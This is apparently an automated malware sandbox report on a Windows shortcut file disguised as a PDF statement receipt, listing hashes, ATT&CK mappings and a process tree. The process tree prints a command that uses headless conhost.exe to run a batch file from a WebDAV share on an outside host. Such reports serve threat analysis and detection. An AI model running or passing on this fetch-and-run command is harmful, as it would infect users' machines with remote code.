0a7047afb777d7c846313bf9852aa4f0d2b84626471076f92b2fc1427b12848c

Analysis

max time kernel
428s
max time network
429s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
08-08-2024 19:30

Target

E_Statement_Receipt_96567839656789782_pdf.lnk
Size

1KB
MD5

7c0a7666cc741870eb3bbf3fb6949478
SHA1

1250a01608854ca432f97e3becc532d295f27cee
SHA256

0a7047afb777d7c846313bf9852aa4f0d2b84626471076f92b2fc1427b12848c
SHA512

d68edd11cb4487cc147150844bfab401140cc35acc214aff02722116766a82b067768f66c595caf8374dc1b62dd9c6c402c15b8d54448043e1300c32902fbd54

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3404 wrote to memory of 4060	3404	cmd.exe	85
PID 3404 wrote to memory of 4060	3404	cmd.exe	85

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\E_Statement_Receipt_96567839656789782_pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3404
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" --headless \\trackmyshipeng.site@9270\DavWWWRoot\new.bat
  2⤵
  PID:4060

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact